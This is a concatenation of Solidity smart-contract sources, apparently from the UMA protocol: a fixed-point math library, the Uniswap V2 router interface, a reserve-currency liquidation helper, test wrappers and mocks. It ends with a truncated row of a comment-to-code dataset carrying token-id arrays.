if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
if (h == 0) return l / d;
require(h < d, 'FullMath: FULLDIV_OVERFLOW');
return fullDiv(l, h, d);
}
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@uniswap/lib/contracts/libraries/TransferHelper.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @title ReserveCurrencyLiquidator
* @notice Helper contract to enable a liquidator to hold one reserver currency and liquidate against any number of
* financial contracts. Is assumed to be called by a DSProxy which holds reserve currency.
*/
contract ReserveCurrencyLiquidator {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
/**
* @notice Swaps required amount of reserve currency to collateral currency which is then used to mint tokens to
* liquidate a position within one transaction.
* @dev After the liquidation is done the DSProxy that called this method will have an open position AND pending
* liquidation within the financial contract. The bot using the DSProxy should withdraw the liquidation once it has
* passed liveness. At this point the position can be manually unwound.
* @dev Any synthetics & collateral that the DSProxy already has are considered in the amount swapped and minted.
* These existing tokens will be used first before any swaps or mints are done.
* @dev If there is a token shortfall (either from not enough reserve to buy sufficient collateral or not enough
* collateral to begins with or due to slippage) the script will liquidate as much as possible given the reserves.
* @param uniswapRouter address of the uniswap router used to facilitate trades.
* @param financialContract address of the financial contract on which the liquidation is occurring.
* @param reserveCurrency address of the token to swap for collateral. THis is the common currency held by the DSProxy.
* @param liquidatedSponsor address of the sponsor to be liquidated.
* @param maxReserveTokenSpent maximum number of reserve tokens to spend in the trade. Bounds slippage.
* @param minCollateralPerTokenLiquidated abort the liquidation if the position's collateral per token is below this value.
* @param maxCollateralPerTokenLiquidated abort the liquidation if the position's collateral per token exceeds this value.
* @param maxTokensToLiquidate max number of tokens to liquidate. For a full liquidation this is the full position debt.
* @param deadline abort the trade and liquidation if the transaction is mined after this timestamp.
**/
function swapMintLiquidate(
address uniswapRouter,
address financialContract,
address reserveCurrency,
address liquidatedSponsor,
FixedPoint.Unsigned calldata maxReserveTokenSpent,
FixedPoint.Unsigned calldata minCollateralPerTokenLiquidated,
FixedPoint.Unsigned calldata maxCollateralPerTokenLiquidated,
FixedPoint.Unsigned calldata maxTokensToLiquidate,
uint256 deadline
) public {
IFinancialContract fc = IFinancialContract(financialContract);
// 1. Calculate the token shortfall. This is the synthetics to liquidate minus any synthetics the DSProxy already
// has. If this number is negative(balance large than synthetics to liquidate) the return 0 (no shortfall).
FixedPoint.Unsigned memory tokenShortfall = subOrZero(maxTokensToLiquidate, getSyntheticBalance(fc));
// 2. Calculate how much collateral is needed to make up the token shortfall from minting new synthetics.
FixedPoint.Unsigned memory gcr = fc.pfc().divCeil(fc.totalTokensOutstanding());
FixedPoint.Unsigned memory collateralToMintShortfall = tokenShortfall.mulCeil(gcr);
// 3. Calculate the total collateral required. This considers the final fee for the given collateral type + any
// collateral needed to mint the token short fall.
FixedPoint.Unsigned memory totalCollateralRequired = getFinalFee(fc).add(collateralToMintShortfall);
// 4.a. Calculate how much collateral needs to be purchased. If the DSProxy already has some collateral then this
// will factor this in. If the DSProxy has more collateral than the total amount required the purchased = 0.
FixedPoint.Unsigned memory collateralToBePurchased =
subOrZero(totalCollateralRequired, getCollateralBalance(fc));
// 4.b. If there is some collateral to be purchased, execute a trade on uniswap to meet the shortfall.
// Note the path assumes a direct route from the reserve currency to the collateral currency.
if (collateralToBePurchased.isGreaterThan(0) && reserveCurrency != fc.collateralCurrency()) {
IUniswapV2Router01 router = IUniswapV2Router01(uniswapRouter);
address[] memory path = new address[](2);
path[0] = reserveCurrency;
path[1] = fc.collateralCurrency();
TransferHelper.safeApprove(reserveCurrency, address(router), maxReserveTokenSpent.rawValue);
router.swapTokensForExactTokens(
collateralToBePurchased.rawValue,
maxReserveTokenSpent.rawValue,
path,
address(this),
deadline
);
}
// 4.c. If at this point we were not able to get the required amount of collateral (due to insufficient reserve
// or not enough collateral in the contract) the script should try to liquidate as much as it can regardless.
// Update the values of total collateral to the current collateral balance and re-compute the tokenShortfall
// as the maximum tokens that could be liquidated at the current GCR.
if (totalCollateralRequired.isGreaterThan(getCollateralBalance(fc))) {
totalCollateralRequired = getCollateralBalance(fc);
collateralToMintShortfall = totalCollateralRequired.sub(getFinalFee(fc));
tokenShortfall = collateralToMintShortfall.divCeil(gcr);
}
// 5. Mint the shortfall synthetics with collateral. Note we are minting at the GCR.
// If the DSProxy already has enough tokens (tokenShortfall = 0) we still preform the approval on the collateral
// currency as this is needed to pay the final fee in the liquidation tx.
TransferHelper.safeApprove(fc.collateralCurrency(), address(fc), totalCollateralRequired.rawValue);
if (tokenShortfall.isGreaterThan(0)) fc.create(collateralToMintShortfall, tokenShortfall);
// The liquidatableTokens is either the maxTokensToLiquidate (if we were able to buy/mint enough) or the full
// token token balance at this point if there was a shortfall.
FixedPoint.Unsigned memory liquidatableTokens = maxTokensToLiquidate;
if (maxTokensToLiquidate.isGreaterThan(getSyntheticBalance(fc))) liquidatableTokens = getSyntheticBalance(fc);
// 6. Liquidate position with newly minted synthetics.
TransferHelper.safeApprove(fc.tokenCurrency(), address(fc), liquidatableTokens.rawValue);
fc.createLiquidation(
liquidatedSponsor,
minCollateralPerTokenLiquidated,
maxCollateralPerTokenLiquidated,
liquidatableTokens,
deadline
);
}
// Helper method to work around subtraction overflow in the case of: a - b with b > a.
function subOrZero(FixedPoint.Unsigned memory a, FixedPoint.Unsigned memory b)
internal
pure
returns (FixedPoint.Unsigned memory)
{
return b.isGreaterThanOrEqual(a) ? FixedPoint.fromUnscaledUint(0) : a.sub(b);
}
// Helper method to return the current final fee for a given financial contract instance.
function getFinalFee(IFinancialContract fc) internal returns (FixedPoint.Unsigned memory) {
return IStore(IFinder(fc.finder()).getImplementationAddress("Store")).computeFinalFee(fc.collateralCurrency());
}
// Helper method to return the collateral balance of this contract.
function getCollateralBalance(IFinancialContract fc) internal returns (FixedPoint.Unsigned memory) {
return FixedPoint.Unsigned(IERC20(fc.collateralCurrency()).balanceOf(address(this)));
}
// Helper method to return the synthetic balance of this contract.
function getSyntheticBalance(IFinancialContract fc) internal returns (FixedPoint.Unsigned memory) {
return FixedPoint.Unsigned(IERC20(fc.tokenCurrency()).balanceOf(address(this)));
}
}
// Define some simple interfaces for dealing with UMA contracts.
interface IFinancialContract {
struct PositionData {
FixedPoint.Unsigned tokensOutstanding;
uint256 withdrawalRequestPassTimestamp;
FixedPoint.Unsigned withdrawalRequestAmount;
FixedPoint.Unsigned rawCollateral;
uint256 transferPositionRequestPassTimestamp;
}
function positions(address sponsor) external returns (PositionData memory);
function collateralCurrency() external returns (address);
function tokenCurrency() external returns (address);
function finder() external returns (address);
function pfc() external returns (FixedPoint.Unsigned memory);
function totalTokensOutstanding() external returns (FixedPoint.Unsigned memory);
function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens) external;
function createLiquidation(
address sponsor,
FixedPoint.Unsigned calldata minCollateralPerToken,
FixedPoint.Unsigned calldata maxCollateralPerToken,
FixedPoint.Unsigned calldata maxTokensToLiquidate,
uint256 deadline
)
external
returns (
uint256 liquidationId,
FixedPoint.Unsigned memory tokensLiquidated,
FixedPoint.Unsigned memory finalFeeBond
);
}
interface IStore {
function computeFinalFee(address currency) external returns (FixedPoint.Unsigned memory);
}
interface IFinder {
function getImplementationAddress(bytes32 interfaceName) external view returns (address);
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "@uniswap/lib/contracts/libraries/TransferHelper.sol";
// Simple contract used to redeem tokens using a DSProxy from an emp.
contract TokenRedeemer {
function redeem(address financialContractAddress, FixedPoint.Unsigned memory numTokens)
public
returns (FixedPoint.Unsigned memory)
{
IFinancialContract fc = IFinancialContract(financialContractAddress);
TransferHelper.safeApprove(fc.tokenCurrency(), financialContractAddress, numTokens.rawValue);
return fc.redeem(numTokens);
}
}
interface IFinancialContract {
function redeem(FixedPoint.Unsigned memory numTokens) external returns (FixedPoint.Unsigned memory amountWithdrawn);
function tokenCurrency() external returns (address);
}
/*
MultiRoleTest contract.
*/
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/MultiRole.sol";
// The purpose of this contract is to make the MultiRole creation methods externally callable for testing purposes.
contract MultiRoleTest is MultiRole {
function createSharedRole(
uint256 roleId,
uint256 managingRoleId,
address[] calldata initialMembers
) external {
_createSharedRole(roleId, managingRoleId, initialMembers);
}
function createExclusiveRole(
uint256 roleId,
uint256 managingRoleId,
address initialMember
) external {
_createExclusiveRole(roleId, managingRoleId, initialMember);
}
// solhint-disable-next-line no-empty-blocks
function revertIfNotHoldingRole(uint256 roleId) external view onlyRoleHolder(roleId) {}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/Testable.sol";
// TestableTest is derived from the abstract contract Testable for testing purposes.
contract TestableTest is Testable {
// solhint-disable-next-line no-empty-blocks
constructor(address _timerAddress) public Testable(_timerAddress) {}
function getTestableTimeAndBlockTime() external view returns (uint256 testableTime, uint256 blockTime) {
// solhint-disable-next-line not-rely-on-time
return (getCurrentTime(), now);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../interfaces/VaultInterface.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title Mock for yearn-style vaults for use in tests.
*/
contract VaultMock is VaultInterface {
IERC20 public override token;
uint256 private pricePerFullShare = 0;
constructor(IERC20 _token) public {
token = _token;
}
function getPricePerFullShare() external view override returns (uint256) {
return pricePerFullShare;
}
function setPricePerFullShare(uint256 _pricePerFullShare) external {
pricePerFullShare = _pricePerFullShare;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title Interface for Yearn-style vaults.
* @dev This only contains the methods/events that we use in our contracts or offchain infrastructure.
*/
abstract contract VaultInterface {
// Return the underlying token.
function token() external view virtual returns (IERC20);
// Gets the number of return tokens that a "share" of this vault is worth.
function getPricePerFullShare() external view virtual returns (uint256);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title Implements only the required ERC20 methods. This contract is used
* test how contracts handle ERC20 contracts that have not implemented `decimals()`
* @dev Mostly copied from Consensys EIP-20 implementation:
* https://github.com/ConsenSys/Tokens/blob/fdf687c69d998266a95f15216b1955a4965a0a6d/contracts/eip20/EIP20.sol
*/
contract BasicERC20 is IERC20 {
uint256 private constant MAX_UINT256 = 2**256 - 1;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowed;
uint256 private _totalSupply;
constructor(uint256 _initialAmount) public {
balances[msg.sender] = _initialAmount;
_totalSupply = _initialAmount;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function transfer(address _to, uint256 _value) public override returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public override returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public override returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../ResultComputation.sol";
import "../../../common/implementation/FixedPoint.sol";
// Wraps the library ResultComputation for testing purposes.
contract ResultComputationTest {
using ResultComputation for ResultComputation.Data;
ResultComputation.Data public data;
function wrapAddVote(int256 votePrice, uint256 numberTokens) external {
data.addVote(votePrice, FixedPoint.Unsigned(numberTokens));
}
function wrapGetResolvedPrice(uint256 minVoteThreshold) external view returns (bool isResolved, int256 price) {
return data.getResolvedPrice(FixedPoint.Unsigned(minVoteThreshold));
}
function wrapWasVoteCorrect(bytes32 revealHash) external view returns (bool) {
return data.wasVoteCorrect(revealHash);
}
function wrapGetTotalCorrectlyVotedTokens() external view returns (uint256) {
return data.getTotalCorrectlyVotedTokens().rawValue;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../Voting.sol";
import "../../../common/implementation/FixedPoint.sol";
// Test contract used to access internal variables in the Voting contract.
contract VotingTest is Voting {
constructor(
uint256 _phaseLength,
FixedPoint.Unsigned memory _gatPercentage,
FixedPoint.Unsigned memory _inflationRate,
uint256 _rewardsExpirationTimeout,
address _votingToken,
address _finder,
address _timerAddress
)
public
Voting(
_phaseLength,
_gatPercentage,
_inflationRate,
_rewardsExpirationTimeout,
_votingToken,
_finder,
_timerAddress
)
{}
function getPendingPriceRequestsArray() external view returns (bytes32[] memory) {
return pendingPriceRequests;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/FixedPoint.sol";
// Wraps the FixedPoint library for testing purposes.
contract UnsignedFixedPointTest {
using FixedPoint for FixedPoint.Unsigned;
using FixedPoint for uint256;
using SafeMath for uint256;
function wrapFromUnscaledUint(uint256 a) external pure returns (uint256) {
return FixedPoint.fromUnscaledUint(a).rawValue;
}
function wrapIsEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isEqual(FixedPoint.Unsigned(b));
}
function wrapMixedIsEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isEqual(b);
}
function wrapIsGreaterThan(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isGreaterThan(FixedPoint.Unsigned(b));
}
function wrapIsGreaterThanOrEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isGreaterThanOrEqual(FixedPoint.Unsigned(b));
}
function wrapMixedIsGreaterThan(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isGreaterThan(b);
}
function wrapMixedIsGreaterThanOrEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isGreaterThanOrEqual(b);
}
function wrapMixedIsGreaterThanOpposite(uint256 a, uint256 b) external pure returns (bool) {
return a.isGreaterThan(FixedPoint.Unsigned(b));
}
function wrapMixedIsGreaterThanOrEqualOpposite(uint256 a, uint256 b) external pure returns (bool) {
return a.isGreaterThanOrEqual(FixedPoint.Unsigned(b));
}
function wrapIsLessThan(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isLessThan(FixedPoint.Unsigned(b));
}
function wrapIsLessThanOrEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isLessThanOrEqual(FixedPoint.Unsigned(b));
}
function wrapMixedIsLessThan(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isLessThan(b);
}
function wrapMixedIsLessThanOrEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isLessThanOrEqual(b);
}
function wrapMixedIsLessThanOpposite(uint256 a, uint256 b) external pure returns (bool) {
return a.isLessThan(FixedPoint.Unsigned(b));
}
function wrapMixedIsLessThanOrEqualOpposite(uint256 a, uint256 b) external pure returns (bool) {
return a.isLessThanOrEqual(FixedPoint.Unsigned(b));
}
function wrapMin(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).min(FixedPoint.Unsigned(b)).rawValue;
}
function wrapMax(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).max(FixedPoint.Unsigned(b)).rawValue;
}
function wrapAdd(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).add(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedAdd(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).add(b).rawValue;
}
function wrapSub(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).sub(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedSub(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).sub(b).rawValue;
}
// The second uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedSubOpposite(uint256 a, uint256 b) external pure returns (uint256) {
return a.sub(FixedPoint.Unsigned(b)).rawValue;
}
function wrapMul(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).mul(FixedPoint.Unsigned(b)).rawValue;
}
function wrapMulCeil(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).mulCeil(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedMul(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).mul(b).rawValue;
}
function wrapMixedMulCeil(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).mulCeil(b).rawValue;
}
function wrapDiv(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).div(FixedPoint.Unsigned(b)).rawValue;
}
function wrapDivCeil(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).divCeil(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedDiv(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).div(b).rawValue;
}
function wrapMixedDivCeil(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).divCeil(b).rawValue;
}
// The second uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedDivOpposite(uint256 a, uint256 b) external pure returns (uint256) {
return a.div(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapPow(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).pow(b).rawValue;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/FixedPoint.sol";
// Wraps the FixedPoint library for testing purposes.
contract SignedFixedPointTest {
using FixedPoint for FixedPoint.Signed;
using FixedPoint for int256;
using SafeMath for int256;
function wrapFromSigned(int256 a) external pure returns (uint256) {
return FixedPoint.fromSigned(FixedPoint.Signed(a)).rawValue;
}
function wrapFromUnsigned(uint256 a) external pure returns (int256) {
return FixedPoint.fromUnsigned(FixedPoint.Unsigned(a)).rawValue;
}
function wrapFromUnscaledInt(int256 a) external pure returns (int256) {
return FixedPoint.fromUnscaledInt(a).rawValue;
}
function wrapIsEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isEqual(FixedPoint.Signed(b));
}
function wrapMixedIsEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isEqual(b);
}
function wrapIsGreaterThan(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isGreaterThan(FixedPoint.Signed(b));
}
function wrapIsGreaterThanOrEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isGreaterThanOrEqual(FixedPoint.Signed(b));
}
function wrapMixedIsGreaterThan(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isGreaterThan(b);
}
function wrapMixedIsGreaterThanOrEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isGreaterThanOrEqual(b);
}
function wrapMixedIsGreaterThanOpposite(int256 a, int256 b) external pure returns (bool) {
return a.isGreaterThan(FixedPoint.Signed(b));
}
function wrapMixedIsGreaterThanOrEqualOpposite(int256 a, int256 b) external pure returns (bool) {
return a.isGreaterThanOrEqual(FixedPoint.Signed(b));
}
function wrapIsLessThan(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isLessThan(FixedPoint.Signed(b));
}
function wrapIsLessThanOrEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isLessThanOrEqual(FixedPoint.Signed(b));
}
function wrapMixedIsLessThan(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isLessThan(b);
}
function wrapMixedIsLessThanOrEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isLessThanOrEqual(b);
}
function wrapMixedIsLessThanOpposite(int256 a, int256 b) external pure returns (bool) {
return a.isLessThan(FixedPoint.Signed(b));
}
function wrapMixedIsLessThanOrEqualOpposite(int256 a, int256 b) external pure returns (bool) {
return a.isLessThanOrEqual(FixedPoint.Signed(b));
}
function wrapMin(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).min(FixedPoint.Signed(b)).rawValue;
}
function wrapMax(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).max(FixedPoint.Signed(b)).rawValue;
}
function wrapAdd(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).add(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedAdd(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).add(b).rawValue;
}
function wrapSub(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).sub(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedSub(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).sub(b).rawValue;
}
// The second int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedSubOpposite(int256 a, int256 b) external pure returns (int256) {
return a.sub(FixedPoint.Signed(b)).rawValue;
}
function wrapMul(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).mul(FixedPoint.Signed(b)).rawValue;
}
function wrapMulAwayFromZero(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).mulAwayFromZero(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedMul(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).mul(b).rawValue;
}
function wrapMixedMulAwayFromZero(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).mulAwayFromZero(b).rawValue;
}
function wrapDiv(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).div(FixedPoint.Signed(b)).rawValue;
}
function wrapDivAwayFromZero(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).divAwayFromZero(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedDiv(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).div(b).rawValue;
}
function wrapMixedDivAwayFromZero(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).divAwayFromZero(b).rawValue;
}
// The second int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedDivOpposite(int256 a, int256 b) external pure returns (int256) {
return a.div(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapPow(int256 a, uint256 b) external pure returns (int256) {
return FixedPoint.Signed(a).pow(b).rawValue;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
/**
* @title Simple Perpetual Mock to serve trivial functions
*/
contract PerpetualMock {
struct FundingRate {
FixedPoint.Signed rate;
bytes32 identifier;
FixedPoint.Unsigned cumulativeMultiplier;
uint256 updateTime;
uint256 applicationTime;
uint256 proposalTime;
}
using FixedPoint for FixedPoint.Unsigned;
using FixedPoint for FixedPoint.Signed;
FundingRate public fundingRate;
// Interface functions required to be implemented in order for an instance of this contract to be passed into the
// off-chain FinancialContractClient helper module:
FixedPoint.Unsigned public collateralRequirement;
uint256 public liquidationLiveness;
FixedPoint.Unsigned public cumulativeFeeMultiplier;
mapping(address => uint256) public positions;
mapping(address => uint256) public liquidations;
event NewSponsor(address indexed sponsor);
event EndedSponsorPosition();
event LiquidationCreated();
function getCurrentTime() public view returns (uint256) {
return now;
}
// Public methods that are useful for tests:
function setFundingRate(FundingRate memory _fundingRate) external {
fundingRate = _fundingRate;
}
function applyFundingRate() external {
fundingRate.applicationTime = block.timestamp;
// Simplified rate calcualtion.
// multiplier = multiplier * (1 + rate)
fundingRate.cumulativeMultiplier = fundingRate.cumulativeMultiplier.mul(
FixedPoint.fromSigned(FixedPoint.fromUnscaledInt(1).add(fundingRate.rate))
);
}
}
| Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid. | Counters.Counter private _currentSnapshotId;
| 99,179 | [
1,
4568,
3258,
10929,
6921,
352,
265,
6478,
16,
598,
326,
1122,
460,
3832,
404,
18,
1922,
612,
434,
374,
353,
2057,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
